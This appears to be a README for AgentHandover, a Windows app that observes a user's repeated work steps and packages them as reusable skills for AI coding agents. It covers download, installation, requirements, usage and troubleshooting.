AgentHandover helps your AI agents learn from the work you already do.
It watches your actions, captures patterns, and turns them into guidance that your agents can reuse. That means less repeated setup, fewer plain prompts, and more work done the way you like it.
Use it when you want tools like OpenClaw, Claude Code, or Codex to follow your style without full manual instructions each time.
- Teach agents how you name files and folders
- Record repeat steps in your daily workflow
- Reduce the time spent explaining the same task
- Help agents follow your common rules
- Build a growing set of reusable skills
- Keep your process more consistent across tasks
Go to the release page here:
Visit the AgentHandover releases page
On the releases page, look for the latest version.
Then download the Windows app file for your computer. It will usually be an .exe file or a .zip file.
If you see more than one file, choose the one that matches Windows.
If you downloaded an .exe file:
- Double-click the file
- Follow the setup steps on screen
- Allow it to finish installing
- Open AgentHandover from the Start menu or desktop
If you downloaded a .zip file:
- Right-click the file
- Choose Extract All
- Open the extracted folder
- Double-click the app file inside
When the app opens, it will begin tracking the workflow you want to teach.
Use it during a normal work session. The app can observe common actions, save them, and build a learning trail for your agents.
AgentHandover uses a simple loop:
- It observes what you do
- It finds repeat steps
- It turns those steps into a skill
- It gives that skill to your agent
- Your agent uses it next time
This helps your agents move from one-off answers to repeatable work habits.
AgentHandover follows your actions while you work. It looks for patterns in tasks like file handling, prompt use, and step order.
It turns repeated behavior into skills that agents can use later. This lowers the need to explain the same thing over and over.
Each time you work, the app can refine what it learns. That helps your agents get closer to your preferred process.
It keeps useful work habits in a structured form. That makes it easier to reuse them in future sessions.
The app is made to feed guidance into tools like OpenClaw, Claude Code, and Codex. That lets your agents act with less hand-holding.
Use a Windows PC with:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 200 MB of free disk space
- Internet access for the first download
- A mouse and keyboard for setup
For smoother use, 8 GB of RAM or more works better.
Have these ready:
- A Windows account with permission to install apps
- Enough space on your drive
- The release file from GitHub
- A basic plan for the task you want the app to learn
If you want the best result, use the app during work that follows clear steps and repeats often.
Start with one task that you do often. Good examples are:
- Renaming files
- Moving folders
- Preparing project folders
- Repeating prompt patterns
- Sorting task output
Do the task in your normal way. AgentHandover learns from real habits, not from made-up examples.
Keep the app open while you work. It uses that session to learn what matters.
Review the saved skill or handover record after the task ends. Make sure it reflects your real process.
Send the learned skill to your agent tool and use it on the next task.
AgentHandover works best when you:
- Keep tasks focused
- Use the same steps each time
- Avoid changing the process mid-task
- Teach one workflow at a time
- Review the learned output before reuse
Clear steps lead to better handover data.
You stay in control of what the app learns.
Use it on tasks that you want to turn into repeatable agent skills. If a task has private data, keep that in mind before you record it.
You can also use it only on short, safe workflows until you are comfortable with how it works.
- Turning a personal process into an agent skill
- Building a handoff for file-based tasks
- Teaching an agent how to follow your naming rules
- Saving a repeatable prompt style
- Creating a process for routine admin work
- Improving how an agent handles step-by-step jobs
Make sure you downloaded the Windows file from the release page and not the source code archive.
Choose the option to run the app if you trust the release file you downloaded.
Try downloading the file again. A broken download can stop the app from starting.
Use a task with clear repeat steps. Very short or random actions may not create useful handover data.
Try teaching one smaller task first. A narrow task often works better than a broad one.
If you are not sure where to start, use this order:
- Open the app
- Choose one task
- Work through the task once
- Let the app record the steps
- Review the learned skill
- Use it with your agent
- Repeat the task with the same pattern
- Create a folder for a new project
- Sort files into named folders
- Prepare a weekly report layout
- Clean up downloaded files
- Build a standard prompt for your agent
- Save a repeatable checklist for common work
Use the release page here:
After you install and open AgentHandover, you should be able to:
- Start a learning session
- Record your work flow
- Save the result as a handover skill
- Reuse that skill with your agent tools
- Improve the skill over time
- Download the latest Windows release
- Open the file
- Install or extract it
- Launch AgentHandover
- Teach one task
- Review the result
- Use it with your agent